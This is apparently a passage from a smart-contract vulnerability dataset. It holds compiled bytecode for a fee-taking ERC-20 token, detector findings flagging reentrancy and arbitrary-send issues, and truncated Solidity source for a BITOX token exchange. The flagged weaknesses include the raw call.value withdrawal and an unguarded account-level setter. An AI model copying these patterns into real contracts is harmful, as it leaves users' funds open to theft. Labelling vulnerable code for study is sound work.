67f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c5e6117e2565b73ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906132a8565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d916117e2565b73ffffffffffffffffffffffffffffffffffffffff1614610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde906132a8565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5348495600000000000000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f23610f1c6117e2565b84846119b5565b6001905092915050565b610f356117e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb990613348565b60405180910390fd5b60005b815181101561105357600160066000848481518110610fe757610fe66137b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061104b90613710565b915050610fc5565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986117e2565b73ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906132a8565b60405180910390fd5b60006110f930610a79565b905061110481612203565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111cf6117e2565b73ffffffffffffffffffffffffffffffffffffffff1614611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906132a8565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112886117e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613348565b60405180910390fd5b601160149054906101000a900460ff1615611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c906133c8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113f830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006117ea565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190612c93565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114d857600080fd5b505afa1580156114ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115109190612c93565b6040518363ffffffff1660e01b815260040161152d929190613198565b602060405180830381600087803b15801561154757600080fd5b505af115801561155b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157f9190612c93565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061160830610a79565b600080611613610e83565b426040518863ffffffff1660e01b8152600401611635969594939291906131ea565b6060604051808303818588803b15801561164e57600080fd5b505af1158015611662573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116879190612e76565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a0c685fa11e01ec6f0000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161178c9291906131c1565b602060405180830381600087803b1580156117a657600080fd5b505af11580156117ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117de9190612e49565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561185a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611851906133a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c1906132e8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119a891906133e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1c90613388565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8c90613288565b60405180910390fd5b60008111611ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acf90613368565b60405180910390fd5b6001600a819055506009600b81905550611af0610e83565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b5e5750611b2e610e83565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611faa57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c075750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c1057600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cbb5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d115750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d295750601160179054906101000a900460ff165b15611dd957601254811115611d3d57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611d8857600080fd5b601e42611d95919061351e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e845750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611eda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef0576001600a819055506009600b819055505b6000611efb30610a79565b9050601160159054906101000a900460ff16158015611f685750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f805750601160169054906101000a900460ff165b15611fa857611f8e81612203565b60004790506000811115611fa657611fa54761201e565b5b505b505b611fb583838361248b565b505050565b6000838311158290612002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff99190613266565b60405180910390fd5b506000838561201191906135ff565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61206e60038461249b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612099573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ea60038461249b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612115573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216660038461249b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612191573d6000803e3d6000fd5b5050565b60006008548211156121dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d3906132c8565b60405180910390fd5b60006121e66124e5565b90506121fb818461249b90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561223b5761223a6137e6565b5b6040519080825280602002602001820160405280156122695781602001602082028036833780820191505090505b5090503081600081518110612281576122806137b7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561232357600080fd5b505afa158015612337573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235b9190612c93565b8160018151811061236f5761236e6137b7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123d630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117ea565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161243a959493929190613403565b600060405180830381600087803b15801561245457600080fd5b505af1158015612468573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b612496838383612510565b505050565b60006124dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126db565b905092915050565b60008060006124f261273e565b91509150612509818361249b90919063ffffffff16565b9250505090565b600080600080600080612522876127a9565b95509550955095509550955061258086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612661816128b9565b61266b8483612976565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126c891906133e8565b60405180910390a3505050505050505050565b60008083118290612722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127199190613266565b60405180910390fd5b50600083856127319190613574565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061277a6b033b2e3c9fd0803ce800000060085461249b90919063ffffffff16565b82101561279c576008546b033b2e3c9fd0803ce80000009350935050506127a5565b81819350935050505b9091565b60008060008060008060008060006127c68a600a54600b546129b0565b92509250925060006127d66124e5565b905060008060006127e98e878787612a46565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fba565b905092915050565b600080828461286a919061351e565b9050838110156128af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a690613308565b60405180910390fd5b8091505092915050565b60006128c36124e5565b905060006128da8284612acf90919063ffffffff16565b905061292e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61298b8260085461281190919063ffffffff16565b6008819055506129a68160095461285b90919063ffffffff16565b6009819055505050565b6000806000806129dc60646129ce888a612acf90919063ffffffff16565b61249b90919063ffffffff16565b90506000612a0660646129f8888b612acf90919063ffffffff16565b61249b90919063ffffffff16565b90506000612a2f82612a21858c61281190919063ffffffff16565b61281190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a5f8589612acf90919063ffffffff16565b90506000612a768689612acf90919063ffffffff16565b90506000612a8d8789612acf90919063ffffffff16565b90506000612ab682612aa8858761281190919063ffffffff16565b61281190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612ae25760009050612b44565b60008284612af091906135a5565b9050828482612aff9190613574565b14612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690613328565b60405180910390fd5b809150505b92915050565b6000612b5d612b588461349d565b613478565b90508083825260208201905082856020860282011115612b8057612b7f61381a565b5b60005b85811015612bb05781612b968882612bba565b845260208401935060208301925050600181019050612b83565b5050509392505050565b600081359050612bc981613b07565b92915050565b600081519050612bde81613b07565b92915050565b600082601f830112612bf957612bf8613815565b5b8135612c09848260208601612b4a565b91505092915050565b600081359050612c2181613b1e565b92915050565b600081519050612c3681613b1e565b92915050565b600081359050612c4b81613b35565b92915050565b600081519050612c6081613b35565b92915050565b600060208284031215612c7c57612c7b613824565b5b6000612c8a84828501612bba565b91505092915050565b600060208284031215612ca957612ca8613824565b5b6000612cb784828501612bcf565b91505092915050565b60008060408385031215612cd757612cd6613824565b5b6000612ce585828601612bba565b9250506020612cf685828601612bba565b9150509250929050565b600080600060608486031215612d1957612d18613824565b5b6000612d2786828701612bba565b9350506020612d3886828701612bba565b9250506040612d4986828701612c3c565b9150509250925092565b60008060408385031215612d6a57612d69613824565b5b6000612d7885828601612bba565b9250506020612d8985828601612c12565b9150509250929050565b60008060408385031215612daa57612da9613824565b5b6000612db885828601612bba565b9250506020612dc985828601612c3c565b9150509250929050565b600060208284031215612de957612de8613824565b5b600082013567ffffffffffffffff811115612e0757612e0661381f565b5b612e1384828501612be4565b91505092915050565b600060208284031215612e3257612e31613824565b5b6000612e4084828501612c12565b91505092915050565b600060208284031215612e5f57612e5e613824565b5b6000612e6d84828501612c27565b91505092915050565b600080600060608486031215612e8f57612e8e613824565b5b6000612e9d86828701612c51565b9350506020612eae86828701612c51565b9250506040612ebf86828701612c51565b9150509250925092565b6000612ed58383612ef0565b60208301905092915050565b612eea81613645565b82525050565b612ef981613633565b82525050565b612f0881613633565b82525050565b6000612f19826134d9565b612f2381856134fc565b9350612f2e836134c9565b8060005b83811015612f5f578151612f468882612ec9565b9750612f51836134ef565b925050600181019050612f32565b5085935050505092915050565b612f7581613657565b82525050565b612f848161369a565b82525050565b6000612f95826134e4565b612f9f818561350d565b9350612faf8185602086016136ac565b612fb881613829565b840191505092915050565b6000612fd060238361350d565b9150612fdb8261383a565b604082019050919050565b6000612ff360158361350d565b9150612ffe82613889565b602082019050919050565b6000613016602a8361350d565b9150613021826138b2565b604082019050919050565b600061303960228361350d565b915061304482613901565b604082019050919050565b600061305c601b8361350d565b915061306782613950565b602082019050919050565b600061307f60218361350d565b915061308a82613979565b604082019050919050565b60006130a260208361350d565b91506130ad826139c8565b602082019050919050565b60006130c560298361350d565b91506130d0826139f1565b604082019050919050565b60006130e860258361350d565b91506130f382613a40565b604082019050919050565b600061310b60248361350d565b915061311682613a8f565b604082019050919050565b600061312e60178361350d565b915061313982613ade565b602082019050919050565b61314d81613683565b82525050565b61315c8161368d565b82525050565b60006020820190506131776000830184612eff565b92915050565b60006020820190506131926000830184612ee1565b92915050565b60006040820190506131ad6000830185612eff565b6131ba6020830184612eff565b9392505050565b60006040820190506131d66000830185612eff565b6131e36020830184613144565b9392505050565b600060c0820190506131ff6000830189612eff565b61320c6020830188613144565b6132196040830187612f7b565b6132266060830186612f7b565b6132336080830185612eff565b61324060a0830184613144565b979650505050505050565b60006020820190506132606000830184612f6c565b92915050565b600060208201905081810360008301526132808184612f8a565b905092915050565b600060208201905081810360008301526132a181612fc3565b9050919050565b600060208201905081810360008301526132c181612fe6565b9050919050565b600060208201905081810360008301526132e181613009565b9050919050565b600060208201905081810360008301526133018161302c565b9050919050565b600060208201905081810360008301526133218161304f565b9050919050565b6000602082019050818103600083015261334181613072565b9050919050565b6000602082019050818103600083015261336181613095565b9050919050565b60006020820190508181036000830152613381816130b8565b9050919050565b600060208201905081810360008301526133a1816130db565b9050919050565b600060208201905081810360008301526133c1816130fe565b9050919050565b600060208201905081810360008301526133e181613121565b9050919050565b60006020820190506133fd6000830184613144565b92915050565b600060a0820190506134186000830188613144565b6134256020830187612f7b565b81810360408301526134378186612f0e565b90506134466060830185612eff565b6134536080830184613144565b9695505050505050565b60006020820190506134726000830184613153565b92915050565b6000613482613493565b905061348e82826136df565b919050565b6000604051905090565b600067ffffffffffffffff8211156134b8576134b76137e6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061352982613683565b915061353483613683565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561356957613568613759565b5b828201905092915050565b600061357f82613683565b915061358a83613683565b92508261359a57613599613788565b5b828204905092915050565b60006135b082613683565b91506135bb83613683565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135f4576135f3613759565b5b828202905092915050565b600061360a82613683565b915061361583613683565b92508282101561362857613627613759565b5b828203905092915050565b600061363e82613663565b9050919050565b600061365082613663565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136a582613683565b9050919050565b60005b838110156136ca5780820151818401526020810190506136af565b838111156136d9576000848401525b50505050565b6136e882613829565b810181811067ffffffffffffffff82111715613707576137066137e6565b5b80604052505050565b600061371b82613683565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561374e5761374d613759565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c69642061646d696e20616464726573730000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613b1081613633565b8114613b1b57600080fd5b50565b613b2781613657565b8114613b3257600080fd5b50565b613b3e81613683565b8114613b4957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f800635bb7fd82b5a61ca82481644d681b0a4e03f6d017ce6430e021a1af8a664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,063
0xb5adb233f28c86cef693451b67e1f2d41da97d21
pragma solidity ^0.4.9; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate) function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract BITOX is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees (80%) address public feeAccount2; //the account that will receive fees (20%) address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function BITOX(address admin_, address feeAccount_, address feeAccount2_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; feeAccount2 = feeAccount2_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeAccount2(address feeAccount2_) { if (msg.sender != feeAccount2) throw; feeAccount2 = feeAccount2_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint 